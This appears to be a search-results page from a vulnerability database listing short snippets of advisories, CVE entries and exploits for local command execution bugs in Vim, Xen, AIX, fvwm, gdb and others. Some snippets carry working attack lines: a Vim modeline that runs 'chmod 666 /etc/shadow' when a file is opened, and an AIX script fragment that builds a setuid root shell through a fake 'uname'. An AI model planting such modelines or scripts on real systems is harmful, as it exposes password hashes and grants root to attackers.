459 matches found
Vim PySys_SetArgv函数本地命令执行漏洞
BUGTRAQ ID: 33447 CVECAN ID: CVE-2009-0316 VIM是一款免费开放源代码文本编辑器，可使用在Unix/Linux操作系统下。 VIM的python接口使用argv0调用PySysSetArgv函数。由于Python对sys.path变量附加了空字符串，如果工作目录中的文件名匹配VIM试图导入的python模块名，就可能允许本地用户在系统中执行任意代码。 VIM Development Group VIM...
vim 6.3 < 6.3.082 (modlines) Local Command Execution Exploit
No description provided by source. 1 open up a text file. 2 insert at the top the information below. / vim: foldmethod=expr:foldexpr=glob"chmod\ 666\ /etc/shadow" / 3 if modlines = on anyone that opens the file with vim will execute the command: chmod 666 /etc/shadow Have fun making your own...
DFLabs PTK <= 1.0 Local Command Execution Vulnerability
Exploit for unknown platform in category web applications ======================================================= DFLabs PTK = 1.0 Local Command Execution Vulnerability ======================================================= ==================================================== Security Research...
DFLabs PTK 1.0 - Local Command Execution
DFLabs PTK 1.0 - Local Command Execution ==================================================== Security Research Advisory Vulnerability name: DFLabs PTK Local Command Execution Vulnerability Advisory number: LC-2008-07 Advisory URL: http://www.ikkisoft.com...
DFLabs PTK 1.0 - Local Command Execution
==================================================== Security Research Advisory Vulnerability name: DFLabs PTK Local Command Execution Vulnerability Advisory number: LC-2008-07 Advisory URL: http://www.ikkisoft.com ==================================================== 1 Affected Software DFLabs PT...
Xen 3.0.3 - pygrub TOOLSPYGRUBSRCGRUBCONF.PY Local Command Injection
Xen 3.0.3 - pygrub TOOLSPYGRUBSRCGRUBCONF.PY Local Command Injection source: https://www.securityfocus.com/bid/25825/info Xen is prone to a local command-injection vulnerability that can lead to privilege escalation. This issue occurs because the application fails to validate input in the...
Xen 3.0.3 - pygrub TOOLS/PYGRUB/SRC/GRUBCONF.PY Local Command Injection
source: https://www.securityfocus.com/bid/25825/info Xen is prone to a local command-injection vulnerability that can lead to privilege escalation. This issue occurs because the application fails to validate input in the 'tools/pygrub/src/GrubConf.py' script. This vulnerability affects Xen 3.0.3;...
CVE-2007-2839
gfax 0.4.2 and probably other versions creates temporary files insecurely, which allows local users to execute arbitrary commands via unknown vectors...
CVE-2006-5969
CRLF injection vulnerability in the evalFolderLine function in fvwm 2.5.18 and earlier allows local users to execute arbitrary commands via carriage returns in a directory name, which is not properly handled by fvwm-menu-directory, a variant of CVE-2003-1308...
CVE-2003-1308
CRLF injection vulnerability in fvwm-menu-directory for fvwm 2.5.x before 2.5.10 and 2.4.x before 2.4.18 allows local users to execute arbitrary commands via carriage returns in a filename...
vim 6.3 6.3.082 - modlines Local Command Execution
vim 6.3 6.3.082 - modlines Local Command Execution 1 open up a text file. 2 insert at the top the information below. / vim: foldmethod=expr:foldexpr=glob"chmod\ 666\ /etc/shadow" / 3 if modlines = on anyone that opens the file with vim will execute the command: chmod 666 /etc/shadow Have fun maki...
vim 6.3 < 6.3.082 (modlines) Local Command Execution Exploit
Exploit for multiple platform in category local exploits ============================================================ vim 6.3 6.3.082 modlines Local Command Execution Exploit ============================================================ 1 open up a text file. 2 insert at the top the information...
CVE-2005-1970
Symantec pcAnywhere 10.5x and 11.x before 11.5, with "Launch with Windows" enabled, allows local users with physical access to execute arbitrary commands via the Caller Properties feature...
DEBIAN-CVE-2005-1705
gdb before 6.3 searches the current working directory to load the .gdbinit configuration file, which allows local users to execute arbitrary commands as the user running gdb...
AIX 5.3.0 - 'invscout' Local Command Execution
!/usr/bin/sh r00t exploit written for the invscout bug reported by Idefense labs http://www.idefense.com/application/poi/display?id=171&type=vulnerabilities coded by ri0t exploitation is trivial but automated with this script www.ri0tnet.net usage ./getr00t.sh : exploitation gives euidroot from...
AIX <= 5.3.0 (invscout) Local Command Execution Vulnerability
Exploit for aix platform in category local exploits ============================================================= AIX uname echo '/usr/bin/chown root:system ./ksh' uname echo '/usr/bin/chmod 777 ./ksh' uname echo '/usr/bin/chmod +s ./ksh' uname /usr/bin/chmod 777 uname PATH=./ export PATH...
[Full-Disclosure] Kernelpanik Labs Digest 2005-2
Hi, This is a email digest with security fails recently published by Kernelpanik Labs http://www.kernelpanik.org. paNews 2.0.4b ------------- Remote SQL injection and command execution. Spanish: http://www.kernelpanik.org/docs/kernelpanik/panews.txt cuteNews 1.3.6 -------------- Remote XSS and...
CVE-2005-0019
Unknown vulnerability in hztty 2.0 and earlier allows local users to execute arbitrary commands...
CVE-2005-0183
The CVE-2005-0183 issue affects the Vacation plugin (version 0.15 and earlier) used with Squirrelmail. Local users can execute arbitrary commands by injecting shell metacharacters into a command-line argument, due to improper handling in ftpfile within the plugin. This leads to potential compromi...